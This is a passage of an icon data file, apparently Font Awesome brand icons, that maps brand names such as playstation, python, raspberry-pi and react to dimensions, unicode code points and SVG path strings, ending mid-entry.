	"pinterest-square": [448, 512, [], "f0d3", "M448 80v352c0 26.5-21.5 48-48 48H154.4c9.8-16.4 22.4-40 27.4-59.3 3-11.5 15.3-58.4 15.3-58.4 8 15.3 31.4 28.2 56.3 28.2 74.1 0 127.4-68.1 127.4-152.7 0-81.1-66.2-141.8-151.4-141.8-106 0-162.2 71.1-162.2 148.6 0 36 19.2 80.8 49.8 95.1 4.7 2.2 7.1 1.2 8.2-3.3.8-3.4 5-20.1 6.8-27.8.6-2.5.3-4.6-1.7-7-10.1-12.3-18.3-34.9-18.3-56 0-54.2 41-106.6 110.9-106.6 60.3 0 102.6 41.1 102.6 99.9 0 66.4-33.5 112.4-77.2 112.4-24.1 0-42.1-19.9-36.4-44.4 6.9-29.2 20.3-60.7 20.3-81.8 0-53-75.5-45.7-75.5 25 0 21.7 7.3 36.5 7.3 36.5-31.4 132.8-36.1 134.5-29.6 192.6l2.2.8H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48z"],
	"playstation": [576, 512, [], "f3df", "M570.9 372.3c-11.3 14.2-38.8 24.3-38.8 24.3L327 470.2v-54.3l150.9-53.8c17.1-6.1 19.8-14.8 5.8-19.4-13.9-4.6-39.1-3.3-56.2 2.9L327 381.1v-56.4c23.2-7.8 47.1-13.6 75.7-16.8 40.9-4.5 90.9.6 130.2 15.5 44.2 14 49.2 34.7 38 48.9zm-224.4-92.5v-139c0-16.3-3-31.3-18.3-35.6-11.7-3.8-19 7.1-19 23.4v347.9l-93.8-29.8V32c39.9 7.4 98 24.9 129.2 35.4C424.1 94.7 451 128.7 451 205.2c0 74.5-46 102.8-104.5 74.6zM43.2 410.2c-45.4-12.8-53-39.5-32.3-54.8 19.1-14.2 51.7-24.9 51.7-24.9l134.5-47.8v54.5l-96.8 34.6c-17.1 6.1-19.7 14.8-5.8 19.4 13.9 4.6 39.1 3.3 56.2-2.9l46.4-16.9v48.8c-51.6 9.3-101.4 7.3-153.9-10z"],
	"product-hunt": [512, 512, [], "f288", "M326.3 218.8c0 20.5-16.7 37.2-37.2 37.2h-70.3v-74.4h70.3c20.5 0 37.2 16.7 37.2 37.2zM504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zm-128.1-37.2c0-47.9-38.9-86.8-86.8-86.8H169.2v248h49.6v-74.4h70.3c47.9 0 86.8-38.9 86.8-86.8z"],
	"pushed": [432, 512, [], "f3e1", "M407 111.9l-98.5-9 14-33.4c10.4-23.5-10.8-40.4-28.7-37L22.5 76.9c-15.1 2.7-26 18.3-21.4 36.6l105.1 348.3c6.5 21.3 36.7 24.2 47.7 7l35.3-80.8 235.2-231.3c16.4-16.8 4.3-42.9-17.4-44.8zM297.6 53.6c5.1-.7 7.5 2.5 5.2 7.4L286 100.9 108.6 84.6l189-31zM22.7 107.9c-3.1-5.1 1-10 6.1-9.1l248.7 22.7-96.9 230.7L22.7 107.9zM136 456.4c-2.6 4-7.9 3.1-9.4-1.2L43.5 179.7l127.7 197.6c-7 15-35.2 79.1-35.2 79.1zm272.8-314.5L210.1 337.3l89.7-213.7 106.4 9.7c4 1.1 5.7 5.3 2.6 8.6z"],
	"python": [448, 512, [], "f3e2", "M439.8 200.5c-7.7-30.9-22.3-54.2-53.4-54.2h-40.1v47.4c0 36.8-31.2 67.8-66.8 67.8H172.7c-29.2 0-53.4 25-53.4 54.3v101.8c0 29 25.2 46 53.4 54.3 33.8 9.9 66.3 11.7 106.8 0 26.9-7.8 53.4-23.5 53.4-54.3v-40.7H226.2v-13.6h160.2c31.1 0 42.6-21.7 53.4-54.2 11.2-33.5 10.7-65.7 0-108.6zM286.2 404c11.1 0 20.1 9.1 20.1 20.3 0 11.3-9 20.4-20.1 20.4-11 0-20.1-9.2-20.1-20.4.1-11.3 9.1-20.3 20.1-20.3zM167.8 248.1h106.8c29.7 0 53.4-24.5 53.4-54.3V91.9c0-29-24.4-50.7-53.4-55.6-35.8-5.9-74.7-5.6-106.8.1-45.2 8-53.4 24.7-53.4 55.6v40.7h106.9v13.6h-147c-31.1 0-58.3 18.7-66.8 54.2-9.8 40.7-10.2 66.1 0 108.6 7.6 31.6 25.7 54.2 56.8 54.2H101v-48.8c0-35.3 30.5-66.4 66.8-66.4zm-6.7-142.6c-11.1 0-20.1-9.1-20.1-20.3.1-11.3 9-20.4 20.1-20.4 11 0 20.1 9.2 20.1 20.4s-9 20.3-20.1 20.3z"],
	"qq": [448, 512, [], "f1d6", "M433.754 420.445c-11.526 1.393-44.86-52.741-44.86-52.741 0 31.345-16.136 72.247-51.051 101.786 16.842 5.192 54.843 19.167 45.803 34.421-7.316 12.343-125.51 7.881-159.632 4.037-34.122 3.844-152.316 8.306-159.632-4.037-9.045-15.25 28.918-29.214 45.783-34.415-34.92-29.539-51.059-70.445-51.059-101.792 0 0-33.334 54.134-44.859 52.741-5.37-.65-12.424-29.644 9.347-99.704 10.261-33.024 21.995-60.478 40.144-105.779C60.683 98.063 108.982.006 224 0c113.737.006 163.156 96.133 160.264 214.963 18.118 45.223 29.912 72.85 40.144 105.778 21.768 70.06 14.716 99.053 9.346 99.704z"],
	"quinscape": [512, 512, [], "f459", "M313.6 474.6h-1a158.1 158.1 0 0 1 0-316.2c94.9 0 168.2 83.1 157 176.6 4 5.1 8.2 9.6 11.2 15.3 13.4-30.3 20.3-62.4 20.3-97.7C501.1 117.5 391.6 8 256.5 8S12 117.5 12 252.6s109.5 244.6 244.5 244.6a237.36 237.36 0 0 0 70.4-10.1c-5.2-3.5-8.9-8.1-13.3-12.5zm-.1-.1l.4.1zm78.4-168.9a99.2 99.2 0 1 0 99.2 99.2 99.18 99.18 0 0 0-99.2-99.2z"],
	"quora": [448, 512, [], "f2c4", "M440.5 386.7h-29.3c-1.5 13.5-10.5 30.8-33 30.8-20.5 0-35.3-14.2-49.5-35.8 44.2-34.2 74.7-87.5 74.7-153C403.5 111.2 306.8 32 205 32 105.3 32 7.3 111.7 7.3 228.7c0 134.1 131.3 221.6 249 189C276 451.3 302 480 351.5 480c81.8 0 90.8-75.3 89-93.3zM297 329.2C277.5 300 253.3 277 205.5 277c-30.5 0-54.3 10-69 22.8l12.2 24.3c6.2-3 13-4 19.8-4 35.5 0 53.7 30.8 69.2 61.3-10 3-20.7 4.2-32.7 4.2-75 0-107.5-53-107.5-156.7C97.5 124.5 130 71 205 71c76.2 0 108.7 53.5 108.7 157.7.1 41.8-5.4 75.6-16.7 100.5z"],
	"r-project": [581, 512, [], "f4f7", "M581 226.6C581 119.1 450.9 32 290.5 32S0 119.1 0 226.6C0 322.4 103.3 402 239.4 418.1V480h99.1v-61.5c24.3-2.7 47.6-7.4 69.4-13.9L448 480h112l-67.4-113.7c54.5-35.4 88.4-84.9 88.4-139.7zm-466.8 14.5c0-73.5 98.9-133 220.8-133s211.9 40.7 211.9 133c0 50.1-26.5 85-70.3 106.4-2.4-1.6-4.7-2.9-6.4-3.7-10.2-5.2-27.8-10.5-27.8-10.5s86.6-6.4 86.6-92.7-90.6-87.9-90.6-87.9h-199V361c-74.1-21.5-125.2-67.1-125.2-119.9zm225.1 38.3v-55.6c57.8 0 87.8-6.8 87.8 27.3 0 36.5-38.2 28.3-87.8 28.3zm-.9 72.5H365c10.8 0 18.9 11.7 24 19.2-16.1 1.9-33 2.8-50.6 2.9v-22.1z"],
	"raspberry-pi": [407, 512, [], "f7bb", "M372 232.5l-3.7-6.5c.1-46.4-21.4-65.3-46.5-79.7 7.6-2 15.4-3.6 17.6-13.2 13.1-3.3 15.8-9.4 17.1-15.8 3.4-2.3 14.8-8.7 13.6-19.7 6.4-4.4 10-10.1 8.1-18.1 6.9-7.5 8.7-13.7 5.8-19.4 8.3-10.3 4.6-15.6 1.1-20.9 6.2-11.2.7-23.2-16.6-21.2-6.9-10.1-21.9-7.8-24.2-7.8-2.6-3.2-6-6-16.5-4.7-6.8-6.1-14.4-5-22.3-2.1-9.3-7.3-15.5-1.4-22.6.8C271.6.6 269 5.5 263.5 7.6c-12.3-2.6-16.1 3-22 8.9l-6.9-.1c-18.6 10.8-27.8 32.8-31.1 44.1-3.3-11.3-12.5-33.3-31.1-44.1l-6.9.1c-5.9-5.9-9.7-11.5-22-8.9-5.6-2-8.1-7-19.4-3.4-4.6-1.4-8.9-4.4-13.9-4.3-2.6.1-5.5 1-8.7 3.5-7.9-3-15.5-4-22.3 2.1-10.5-1.3-14 1.4-16.5 4.7-2.3 0-17.3-2.3-24.2 7.8C21.2 16 15.8 28 22 39.2c-3.5 5.4-7.2 10.7 1.1 20.9-2.9 5.7-1.1 11.9 5.8 19.4-1.8 8 1.8 13.7 8.1 18.1-1.2 11 10.2 17.4 13.6 19.7 1.3 6.4 4 12.4 17.1 15.8 2.2 9.5 10 11.2 17.6 13.2-25.1 14.4-46.6 33.3-46.5 79.7l-3.7 6.5c-28.8 17.2-54.7 72.7-14.2 117.7 2.6 14.1 7.1 24.2 11 35.4 5.9 45.2 44.5 66.3 54.6 68.8 14.9 11.2 30.8 21.8 52.2 29.2C159 504.2 181 512 203 512h1c22.1 0 44-7.8 64.2-28.4 21.5-7.4 37.3-18 52.2-29.2 10.2-2.5 48.7-23.6 54.6-68.8 3.9-11.2 8.4-21.3 11-35.4 40.6-45.1 14.7-100.5-14-117.7zm-22.2-8c-1.5 18.7-98.9-65.1-82.1-67.9 45.7-7.5 83.6 19.2 82.1 67.9zm-43 93.1c-24.5 15.8-59.8 5.6-78.8-22.8s-14.6-64.2 9.9-80c24.5-15.8 59.8-5.6 78.8 22.8s14.6 64.2-9.9 80zM238.9 29.3c.8 4.2 1.8 6.8 2.9 7.6 5.4-5.8 9.8-11.7 16.8-17.3 0 3.3-1.7 6.8 2.5 9.4 3.7-5 8.8-9.5 15.5-13.3-3.2 5.6-.6 7.3 1.2 9.6 5.1-4.4 10-8.8 19.4-12.3-2.6 3.1-6.2 6.2-2.4 9.8 5.3-3.3 10.6-6.6 23.1-8.9-2.8 3.1-8.7 6.3-5.1 9.4 6.6-2.5 14-4.4 22.1-5.4-3.9 3.2-7.1 6.3-3.9 8.8 7.1-2.2 16.9-5.1 26.4-2.6l-6 6.1c-.7.8 14.1.6 23.9.8-3.6 5-7.2 9.7-9.3 18.2 1 1 5.8.4 10.4 0-4.7 9.9-12.8 12.3-14.7 16.6 2.9 2.2 6.8 1.6 11.2.1-3.4 6.9-10.4 11.7-16 17.3 1.4 1 3.9 1.6 9.7.9-5.2 5.5-11.4 10.5-18.8 15 1.3 1.5 5.8 1.5 10 1.6-6.7 6.5-15.3 9.9-23.4 14.2 4 2.7 6.9 2.1 10 2.1-5.7 4.7-15.4 7.1-24.4 10 1.7 2.7 3.4 3.4 7.1 4.1-9.5 5.3-23.2 2.9-27 5.6.9 2.7 3.6 4.4 6.7 5.8-15.4.9-57.3-.6-65.4-32.3 15.7-17.3 44.4-37.5 93.7-62.6-38.4 12.8-73 30-102 53.5-34.3-15.9-10.8-55.9 5.8-71.8zm-34.4 114.6c24.2-.3 54.1 17.8 54 34.7-.1 15-21 27.1-53.8 26.9-32.1-.4-53.7-15.2-53.6-29.8 0-11.9 26.2-32.5 53.4-31.8zm-123-12.8c3.7-.7 5.4-1.5 7.1-4.1-9-2.8-18.7-5.3-24.4-10 3.1 0 6 .7 10-2.1-8.1-4.3-16.7-7.7-23.4-14.2 4.2-.1 8.7 0 10-1.6-7.4-4.5-13.6-9.5-18.8-15 5.8.7 8.3.1 9.7-.9-5.6-5.6-12.7-10.4-16-17.3 4.3 1.5 8.3 2 11.2-.1-1.9-4.2-10-6.7-14.7-16.6 4.6.4 9.4 1 10.4 0-2.1-8.5-5.8-13.3-9.3-18.2 9.8-.1 24.6 0 23.9-.8l-6-6.1c9.5-2.5 19.3.4 26.4 2.6 3.2-2.5-.1-5.6-3.9-8.8 8.1 1.1 15.4 2.9 22.1 5.4 3.5-3.1-2.3-6.3-5.1-9.4 12.5 2.3 17.8 5.6 23.1 8.9 3.8-3.6.2-6.7-2.4-9.8 9.4 3.4 14.3 7.9 19.4 12.3 1.7-2.3 4.4-4 1.2-9.6 6.7 3.8 11.8 8.3 15.5 13.3 4.1-2.6 2.5-6.2 2.5-9.4 7 5.6 11.4 11.5 16.8 17.3 1.1-.8 2-3.4 2.9-7.6 16.6 15.9 40.1 55.9 6 71.8-29-23.5-63.6-40.7-102-53.5 49.3 25 78 45.3 93.7 62.6-8 31.8-50 33.2-65.4 32.3 3.1-1.4 5.8-3.2 6.7-5.8-4-2.8-17.6-.4-27.2-5.6zm60.1 24.1c16.8 2.8-80.6 86.5-82.1 67.9-1.5-48.7 36.5-75.5 82.1-67.9zM38.2 342c-23.7-18.8-31.3-73.7 12.6-98.3 26.5-7 9 107.8-12.6 98.3zm91 98.2c-13.3 7.9-45.8 4.7-68.8-27.9-15.5-27.4-13.5-55.2-2.6-63.4 16.3-9.8 41.5 3.4 60.9 25.6 16.9 20 24.6 55.3 10.5 65.7zm-26.4-119.7c-24.5-15.8-28.9-51.6-9.9-80s54.3-38.6 78.8-22.8 28.9 51.6 9.9 80c-19.1 28.4-54.4 38.6-78.8 22.8zM205 496c-29.4 1.2-58.2-23.7-57.8-32.3-.4-12.7 35.8-22.6 59.3-22 23.7-1 55.6 7.5 55.7 18.9.5 11-28.8 35.9-57.2 35.4zm58.9-124.9c.2 29.7-26.2 53.8-58.8 54-32.6.2-59.2-23.8-59.4-53.4v-.6c-.2-29.7 26.2-53.8 58.8-54 32.6-.2 59.2 23.8 59.4 53.4v.6zm82.2 42.7c-25.3 34.6-59.6 35.9-72.3 26.3-13.3-12.4-3.2-50.9 15.1-72 20.9-23.3 43.3-38.5 58.9-26.6 10.5 10.3 16.7 49.1-1.7 72.3zm22.9-73.2c-21.5 9.4-39-105.3-12.6-98.3 43.9 24.7 36.3 79.6 12.6 98.3z"],
	"ravelry": [512, 512, [], "f2d9", "M498.252,234.223c-1.208-10.34-1.7-20.826-3.746-31a310.306,310.306,0,0,0-9.622-36.6,184.068,184.068,0,0,0-30.874-57.5,251.154,251.154,0,0,0-18.818-21.689,237.362,237.362,0,0,0-47.113-36.116A240.8,240.8,0,0,0,331.356,26.65c-11.018-3.1-22.272-5.431-33.515-7.615-6.78-1.314-13.749-1.667-20.627-2.482-.316-.036-.6-.358-.9-.553q-16.143.009-32.288.006c-2.41.389-4.808.925-7.236,1.15a179.331,179.331,0,0,0-34.256,7.1,221.5,221.5,0,0,0-39.768,16.355,281.385,281.385,0,0,0-38.08,24.158c-6.167,4.61-12.268,9.36-17.974,14.518C96.539,88.494,86.34,97.72,76.785,107.555a243.878,243.878,0,0,0-33.648,43.95,206.488,206.488,0,0,0-20.494,44.6,198.2,198.2,0,0,0-7.691,34.759A201.13,201.13,0,0,0,13.4,266.385a299.716,299.716,0,0,0,4.425,40.24,226.865,226.865,0,0,0,16.73,53.3,210.543,210.543,0,0,0,24,39.528,213.589,213.589,0,0,0,26.358,28.416A251.313,251.313,0,0,0,126.7,458.455a287.831,287.831,0,0,0,55.9,25.277,269.5,269.5,0,0,0,40.641,9.835c6.071,1.01,12.275,1.253,18.412,1.873a4.149,4.149,0,0,1,1.19.56h32.289c2.507-.389,5-.937,7.527-1.143,16.336-1.332,32.107-5.335,47.489-10.717A219.992,219.992,0,0,0,379.1,460.322c9.749-6.447,19.395-13.077,28.737-20.1,5.785-4.348,10.988-9.5,16.3-14.457,3.964-3.7,7.764-7.578,11.51-11.5a232.162,232.162,0,0,0,31.427-41.639c9.542-16.045,17.355-32.905,22.3-50.926,2.859-10.413,4.947-21.045,7.017-31.652,1.032-5.279,1.251-10.723,1.87-16.087.036-.317.358-.6.552-.9V236.005A9.757,9.757,0,0,1,498.252,234.223Zm-161.117-1.15s-16.572-2.98-28.47-2.98c-27.2,0-33.57,14.9-33.57,37.04V360.8H201.582V170.062H275.1v31.931c8.924-26.822,26.771-36.189,62.04-36.189Z"],
	"react": [512, 512, [], "f41b", "M418.2 177.2c-5.4-1.8-10.8-3.5-16.2-5.1.9-3.7 1.7-7.4 2.5-11.1 12.3-59.6 4.2-107.5-23.1-123.3-26.3-15.1-69.2.6-112.6 38.4-4.3 3.7-8.5 7.6-12.5 11.5-2.7-2.6-5.5-5.2-8.3-7.7-45.5-40.4-91.1-57.4-118.4-41.5-26.2 15.2-34 60.3-23 116.7 1.1 5.6 2.3 11.1 3.7 16.7-6.4 1.8-12.7 3.8-18.6 5.9C38.3 196.2 0 225.4 0 255.6c0 31.2 40.8 62.5 96.3 81.5 4.5 1.5 9 3 13.6 4.3-1.5 6-2.8 11.9-4 18-10.5 55.5-2.3 99.5 23.9 114.6 27 15.6 72.4-.4 116.6-39.1 3.5-3.1 7-6.3 10.5-9.7 4.4 4.3 9 8.4 13.6 12.4 42.8 36.8 85.1 51.7 111.2 36.6 27-15.6 35.8-62.9 24.4-120.5-.9-4.4-1.9-8.9-3-13.5 3.2-.9 6.3-1.9 9.4-2.9 57.7-19.1 99.5-50 99.5-81.7 0-30.3-39.4-59.7-93.8-78.4zM282.9 92.3c37.2-32.4 71.9-45.1 87.7-36 16.9 9.7 23.4 48.9 12.8 100.4-.7 3.4-1.4 6.7-2.3 10-22.2-5-44.7-8.6-67.3-10.6-13-18.6-27.2-36.4-42.6-53.1 3.9-3.7 7.7-7.2 11.7-10.7zM167.2 307.5c5.1 8.7 10.3 17.4 15.8 25.9-15.6-1.7-31.1-4.2-46.4-7.5 4.4-14.4 9.9-29.3 16.3-44.5 4.6 8.8 9.3 17.5 14.3 26.1zm-30.3-120.3c14.4-3.2 29.7-5.8 45.6-7.8-5.3 8.3-10.5 16.8-15.4 25.4-4.9 8.5-9.7 17.2-14.2 26-6.3-14.9-11.6-29.5-16-43.6zm27.4 68.9c6.6-13.8 13.8-27.3 21.4-40.6s15.8-26.2 24.4-38.9c15-1.1 30.3-1.7 45.9-1.7s31 .6 45.9 1.7c8.5 12.6 16.6 25.5 24.3 38.7s14.9 26.7 21.7 40.4c-6.7 13.8-13.9 27.4-21.6 40.8-7.6 13.3-15.7 26.2-24.2 39-14.9 1.1-30.4 1.6-46.1 1.6s-30.9-.5-45.6-1.4c-8.7-12.7-16.9-25.7-24.6-39s-14.8-26.8-21.5-40.6zm180.6 51.2c5.1-8.8 9.9-17.7 14.6-26.7 6.4 14.5 12 29.2 16.9 44.3-15.5 3.5-31.2 6.2-47 8 5.4-8.4 10.5-17 15.5-25.6zm14.4-76.5c-4.7-8.8-9.5-17.6-14.5-26.2-4.9-8.5-10-16.9-15.3-25.2 16.1 2 31.5 4.7 45.9 8-4.6 14.8-10 29.2-16.1 43.4zM256.2 118.3c10.5 11.4 20.4 23.4 29.6 35.8-19.8-.9-39.7-.9-59.5 0 9.8-12.9 19.9-24.9 29.9-35.8zM140.2 57c16.8-9.8 54.1 4.2 93.4 39 2.5 2.2 5 4.6 7.6 7-15.5 16.7-29.8 34.5-42.9 53.1-22.6 2-45 5.5-67.2 10.4-1.3-5.1-2.4-10.3-3.5-15.5-9.4-48.4-3.2-84.9 12.6-94zm-24.5 263.6c-4.2-1.2-8.3-2.5-12.4-3.9-21.3-6.7-45.5-17.3-63-31.2-10.1-7-16.9-17.8-18.8-29.9 0-18.3 31.6-41.7 77.2-57.6 5.7-2 11.5-3.8 17.3-5.5 6.8 21.7 15 43 24.5 63.6-9.6 20.9-17.9 42.5-24.8 64.5zm116.6 98c-16.5 15.1-35.6 27.1-56.4 35.3-11.1 5.3-23.9 5.8-35.3 1.3-15.9-9.2-22.5-44.5-13.5-92 1.1-5.6 2.3-11.2 3.7-16.7 22.4 4.8 45 8.1 67.9 9.8 13.2 18.7 27.7 36.6 43.2 53.4-3.2 3.1-6.4 6.1-9.6 8.9zm24.5-24.3c-10.2-11-20.4-23.2-30.3-36.3 9.6.4 19.5.6 29.5.6 10.3 0 20.4-.2 30.4-.7-9.2 12.7-19.1 24.8-29.6 36.4zm130.7 30c-.9 12.2-6.9 23.6-16.5 31.3-15.9 9.2-49.8-2.8-86.4-34.2-4.2-3.6-8.4-7.5-12.7-11.5 15.3-16.9 29.4-34.8 42.2-53.6 22.9-1.9 45.7-5.4 68.2-10.5 1 4.1 1.9 8.2 2.7 12.2 4.9 21.6 5.7 44.1 2.5 66.3zm18.2-107.5c-2.8.9-5.6 1.8-8.5 2.6-7-21.8-15.6-43.1-25.5-63.8 9.6-20.4 17.7-41.4 24.5-62.9 5.2 1.5 10.2 3.1 15 4.7 46.6 16 79.3 39.8 79.3 58 0 19.6-34.9 44.9-84.8 61.4zm-149.7-15c25.3 0 45.8-20.5 45.8-45.8s-20.5-45.8-45.8-45.8c-25.3 0-45.8 20.5-45.8 45.8s20.5 45.8 45.8 45.8z"],
	"reacteurope": [576, 512, [], "f75d", "M250.6 211.74l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.1-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm63.7 0l5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3-7.2-.1-2.3-6.8-2.3 6.8-7.2.1 5.7 4.3zm-91.3 50.5h-3.4c-4.8 0-3.8 4-3.8 12.1 0 4.7-2.3 6.1-5.8 6.1s-5.8-1.4-5.8-6.1v-36.6c0-4.7 2.3-6.1 5.8-6.1s5.8 1.4 5.8 6.1c0 7.2-.7 10.5 3.8 10.5h3.4c4.7-.1 3.8-3.9 3.8-12.3 0-9.9-6.7-14.1-16.8-14.1h-.2c-10.1 0-16.8 4.2-16.8 14.1V276c0 10.4 6.7 14.1 16.8 14.1h.2c10.1 0 16.8-3.8 16.8-14.1 0-9.86 1.1-13.76-3.8-13.76zm-80.7 17.4h-14.7v-19.3H139c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-11.4v-18.3H142c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-21.7c-2.4-.1-3.7 1.3-3.7 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h21.9c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8zm-42-18.5c4.6-2 7.3-6 7.3-12.4v-11.9c0-10.1-6.7-14.1-16.8-14.1H77.4c-2.5 0-3.8 1.3-3.8 3.8v59.1c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5 0 3.8-1.3 3.8-3.8v-22.9h5.6l7.4 23.5a4.1 4.1 0 0 0 4.3 3.2h3.3c2.8 0 4-1.8 3.2-4.4zm-3.8-14c0 4.8-2.5 6.1-6.1 6.1h-5.8v-20.9h5.8c3.6 0 6.1 1.3 6.1 6.1zM176 226a3.82 3.82 0 0 0-4.2-3.4h-6.9a3.68 3.68 0 0 0-4 3.4l-11 59.2c-.5 2.7.9 4.1 3.4 4.1h3a3.74 3.74 0 0 0 4.1-3.5l1.8-11.3h12.2l1.8 11.3a3.74 3.74 0 0 0 4.1 3.5h3.5c2.6 0 3.9-1.4 3.4-4.1zm-12.3 39.3l4.7-29.7 4.7 29.7zm89.3 20.2v-53.2h7.5c2.5 0 3.8-1.3 3.8-3.8v-2.1c0-2.5-1.3-3.8-3.8-3.8h-25.8c-2.5 0-3.8 1.3-3.8 3.8v2.1c0 2.5 1.3 3.8 3.8 3.8h7.3v53.2c0 2.5 1.3 3.8 3.8 3.8h3.4c2.5.04 3.8-1.3 3.8-3.76zm248-.8h-19.4V258h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9H501a1.81 1.81 0 0 0 2-1.9v-.8a1.84 1.84 0 0 0-2-1.96zm-93.1-62.9h-.8c-10.1 0-15.3 4.7-15.3 14.1V276c0 9.3 5.2 14.1 15.3 14.1h.8c10.1 0 15.3-4.8 15.3-14.1v-40.1c0-9.36-5.2-14.06-15.3-14.06zm10.2 52.4c-.1 8-3 11.1-10.5 11.1s-10.5-3.1-10.5-11.1v-36.6c0-7.9 3-11.1 10.5-11.1s10.5 3.2 10.5 11.1zm-46.5-14.5c6.1-1.6 9.2-6.1 9.2-13.3v-9.7c0-9.4-5.2-14.1-15.3-14.1h-13.7a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.9h11.6l10.4 27.2a2.32 2.32 0 0 0 2.3 1.5h1.5c1.4 0 2-1 1.5-2.3zm-6.4-3.9H355v-28.5h10.2c7.5 0 10.5 3.1 10.5 11.1v6.4c0 7.84-3 11.04-10.5 11.04zm85.9-33.1h-13.7a1.62 1.62 0 0 0-2 1.8v63a1.81 1.81 0 0 0 2 1.9h1.2a1.74 1.74 0 0 0 1.9-1.9v-26.1h10.6c10.1 0 15.3-4.8 15.3-14.1v-10.5c0-9.4-5.2-14.1-15.3-14.1zm10.2 22.8c0 7.9-3 11.1-10.5 11.1h-10.2v-29.2h10.2c7.5-.1 10.5 3.1 10.5 11zM259.5 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm227.6-136.1a364.42 364.42 0 0 0-35.6-11.3c19.6-78 11.6-134.7-22.3-153.9C394.7-12.66 343.3 11 291 61.94q5.1 4.95 10.2 10.2c82.5-80 119.6-53.5 120.9-52.8 22.4 12.7 36 55.8 15.5 137.8a587.83 587.83 0 0 0-84.6-13C281.1 43.64 212.4 2 170.8 2 140 2 127 23 123.2 29.74c-18.1 32-13.3 84.2.1 133.8-70.5 20.3-120.7 54.1-120.3 95 .5 59.6 103.2 87.8 122.1 92.8-20.5 81.9-10.1 135.6 22.3 153.9 28 15.8 75.1 6 138.2-55.2q-5.1-4.95-10.2-10.2c-82.5 80-119.7 53.5-120.9 52.8-22.3-12.6-36-55.6-15.5-137.9 12.4 2.9 41.8 9.5 84.6 13 71.9 100.4 140.6 142 182.1 142 30.8 0 43.8-21 47.6-27.7 18-31.9 13.3-84.1-.1-133.8 152.3-43.8 156.2-130.2 33.9-176.3zM135.9 36.84c2.9-5.1 11.9-20.3 34.9-20.3 36.8 0 98.8 39.6 163.3 126.2a714 714 0 0 0-93.9.9 547.76 547.76 0 0 1 42.2-52.4Q277.3 86 272.2 81a598.25 598.25 0 0 0-50.7 64.2 569.69 569.69 0 0 0-84.4 14.6c-.2-1.4-24.3-82.2-1.2-123zm304.8 438.3c-2.9 5.1-11.8 20.3-34.9 20.3-36.7 0-98.7-39.4-163.3-126.2a695.38 695.38 0 0 0 93.9-.9 547.76 547.76 0 0 1-42.2 52.4q5.1 5.25 10.2 10.2a588.47 588.47 0 0 0 50.7-64.2c47.3-4.7 80.3-13.5 84.4-14.6 22.7 84.4 4.5 117 1.2 123zm9.1-138.6c-3.6-11.9-7.7-24.1-12.4-36.4a12.67 12.67 0 0 1-10.7-5.7l-.1.1a19.61 19.61 0 0 1-5.4 3.6c5.7 14.3 10.6 28.4 14.7 42.2a535.3 535.3 0 0 1-72 13c3.5-5.3 17.2-26.2 32.2-54.2a24.6 24.6 0 0 1-6-3.2c-1.1 1.2-3.6 4.2-10.9 4.2-6.2 11.2-17.4 30.9-33.9 55.2a711.91 711.91 0 0 1-112.4 1c-7.9-11.2-21.5-31.1-36.8-57.8a21 21 0 0 1-3-1.5c-1.9 1.6-3.9 3.2-12.6 3.2 6.3 11.2 17.5 30.7 33.8 54.6a548.81 548.81 0 0 1-72.2-11.7q5.85-21 14.1-42.9c-3.2 0-5.4.2-8.4-1a17.58 17.58 0 0 1-6.9 1c-4.9 13.4-9.1 26.5-12.7 39.4C-31.7 297-12.1 216 126.7 175.64c3.6 11.9 7.7 24.1 12.4 36.4 10.4 0 12.9 3.4 14.4 5.3a12 12 0 0 1 2.3-2.2c-5.8-14.7-10.9-29.2-15.2-43.3 7-1.8 32.4-8.4 72-13-15.9 24.3-26.7 43.9-32.8 55.3a14.22 14.22 0 0 1 6.4 8 23.42 23.42 0 0 1 10.2-8.4c6.5-11.7 17.9-31.9 34.8-56.9a711.72 711.72 0 0 1 112.4-1c31.5 44.6 28.9 48.1 42.5 64.5a21.42 21.42 0 0 1 10.4-7.4c-6.4-11.4-17.6-31-34.3-55.5 40.4 4.1 65 10 72.2 11.7-4 14.4-8.9 29.2-14.6 44.2a20.74 20.74 0 0 1 6.8 4.3l.1.1a12.72 12.72 0 0 1 8.9-5.6c4.9-13.4 9.2-26.6 12.8-39.5a359.71 359.71 0 0 1 34.5 11c106.1 39.9 74 87.9 72.6 90.4-19.8 35.1-80.1 55.2-105.7 62.5zm-114.4-114h-1.2a1.74 1.74 0 0 0-1.9 1.9v49.8c0 7.9-2.6 11.1-10.1 11.1s-10.1-3.1-10.1-11.1v-49.8a1.69 1.69 0 0 0-1.9-1.9H309a1.81 1.81 0 0 0-2 1.9v51.5c0 9.6 5 14.1 15.1 14.1h.4c10.1 0 15.1-4.6 15.1-14.1v-51.5a2 2 0 0 0-2.2-1.9zM321.7 308l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm-31.1 7.4l-2.3-6.8-2.3 6.8-7.1.1 5.7 4.3-2.1 6.8 5.8-4.1 5.8 4.1-2.1-6.8 5.7-4.3zm5.1-30.8h-19.4v-26.7h16.1a1.89 1.89 0 0 0 2-2v-.8a1.89 1.89 0 0 0-2-2h-16.1v-25.8h19.1a1.89 1.89 0 0 0 2-2v-.8a1.77 1.77 0 0 0-2-1.9h-22.2a1.81 1.81 0 0 0-2 1.9v63a1.81 1.81 0 0 0 2 1.9h22.5a1.77 